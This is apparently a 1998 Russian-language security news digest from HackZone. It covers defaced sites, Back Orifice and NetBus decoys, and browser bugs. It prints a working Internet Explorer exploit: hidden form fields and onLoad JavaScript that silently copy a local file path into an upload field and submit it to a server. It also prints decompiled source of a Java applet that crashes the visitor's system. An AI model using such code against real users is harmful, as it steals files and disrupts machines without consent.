13 октября 1998, #45
Наша коллекция взломанных сайтов уже довольно прилично разрослась, да и сообщения о новых взломах приходят, как правило, не дожидаясь очередного обзора, так что настала пора выделить ей отдельный раздел. Разместился он в Underground'е, и сразу с новым экспонатом.
А в клубе тем временем пополнение. С заданием успешно справился debug3d, с чем я его и поздравляю.
Еще одна плюха в IE. Подробное описание и демонстрация - здесь.
Идея следующая. В html существуют поле ввода "выбор файла", предназначенное для отправки файла на сервер.
В нормальной ситуации это поле может заполнить только пользователь, со спокойной совестью нажимающий после
этого на Submit. Проблема в том, что с помощью JavaScript в IE4 и выше можно выполнить команды Copy и Paste,
а также отправить форму без ведома пользователя. Итак, создаем форму, в ней скрытое поле
<input type="hidden" name="T1" value="c:\config.sys">, поле для выбора файлов
<input type="file" name="filename" value="c:\config.sys">, после чего
пишем следующий код (разумеется, вызывающийся в <body onLoad=...>):
function getfile()
{
document.forms[1].T1.select();
document.execCommand("copy");
document.forms[0].filename.select();
document.execCommand("paste");
document.forms[0].submit();
}
Ну а дальше за дело берется cgi-скрипт. Конечно, это сработает только если не отключено предупреждение об отправлении формы, но как показывает практика, нормальные люди делают это практически сразу.
Разумеется, это все можно использовать и в html-сообщениях, не томясь в ожидании захода жертвы на нужную страницу.
Вокруг Back Orifice и NetBus. Андрей Орешко прислал ссылку на программу, садящуюся на 31337-й порт и далее в ответ на попытки присоединиться к нему клиентом BO выдающую в ответ некий текст, причем стандартное сообщение можно заменить на все, что душе угодно, что открывает необозримое поле деятельности :) Плюс все, разумеется, пишется в лог. Аналогичная обманка для NetBus, заодно пытающаяся ее удалить, живет здесь.
По поводу BO озаботились и некоторые провайдеры. Так, клиенты Корбины, запускавшие клиента BO, через некоторое время получают последнее предупреждение от администратора. Вполне разумная реакция, между прочим.
George Hazan сообщает, что упоминавшаяся в двух последних выпусках программа, вышибающая NT, приводит к простому GPF на NTWS 4.0 Eng + SP4 1.136 RC2. Похоже, это они уже залатали.
А вот по поводу апплета, занимающимся все тем же черным делом, я получил сразу два письма с его дизассемблированным кодом. Вариант Олега Кагана лежит здесь, вариант (частично урезанный) Игоря Шергина с его комментариями привожу ниже.
import java.awt.*; import java.applet.Applet; // Вообще, весьма примитивный апплет, любой школьник напишет... // заголовок апплета public synchronized class KillerApp extends Applet { public void paint(Graphics g){/*...отрисовка заставок и т.п...*/} // .......[почикано] // А вот этот метод и приводит к краху. public boolean mouseUp(Event evt, int x, int y) { Image img = createImage(600, 400); Graphics gc = img.getGraphics(); // эти значения потом будут использованы для рисования линий! :) int max = 2147483647; int min = -2147483648; // обычный флажок - переключатель режимов "жесткий" и "не очень" // есть еще ultraFried - устанавливается после "жесткого" режима if (!fried) { // Эта линия с далеко заэкранными координатами // отрисовывается, когда Вы в первый раз нажимаете // на любимую красную кнопку автора gc.drawLine(299, 924, max, max); fried = true; } else { Graphics g = getGraphics(); g.setColor(Color.black); g.fillRect(0, 0, size().width, size().height); g.setColor(Color.white); FontMetrics fm = g.getFontMetrics(); String s = "Working, please wait..." + " The damage might be worse each time you press the button!"; g.drawString(s, (size().width - fm.stringWidth(s)) / 2, (size().height - fm.getHeight()) / 2); // Второй вариант - "утяжеленный". Производится рисование 10'000 // линий из некой случайной точки "лучами" в разные углы экрана for (int i = 0; i < 10000; i++) { // координаты точки int lx = (int)(Math.random() * 2000.0) - 1000; int ly = (int)(Math.random() * 2000.0) - 1000; gc.setColor(new Color((int)(Math.random() * 1.6777215E7))); // лучи gc.drawLine(lx, ly, max, max); gc.drawLine(lx, ly, min, min); gc.drawLine(lx, ly, min, max); gc.drawLine(lx, ly, max, min); } gc.drawImage(background, 0, 0, this); getGraphics().drawImage(img, 0, 0, this); ultraFried = true; } // отрисовываем... repaint(); // Все! Клиент в дауне! return true; } // ... |
В рамках проекта Russian Underground/2 делается попытка реанимировать создававшийся пару лет назад онлайновый журнал по программированию для OS/2, но на этот раз не замыкаясь в рамках OS/2. Приглашаются программисты, владеющие в первую очередь русским письменным, а также С++, Pascal, Java, Perl и т.д. Интересуют также оригинальные или забавные алгоритмы или методики, работа с базами данных. мультиплатформенные или переносимые решения, вопросы портирования программного обеспечения с одной платформы на другую, новые технологии и протоколы, и т.д. и т.п.
Со своей же стороны могу добавить, что все это мы с превеликим удовольствием можем в дальнейшем опубликовать в бумажной ипостаси HackZone, изначально позиционирующейся несколько шире, чем сайт, и не ограничивающейся только вопросами безопасности.
У вас есть новость или ссылка, заслуживающие внимания наших читателей ? Пишите.
« | » | |
|
|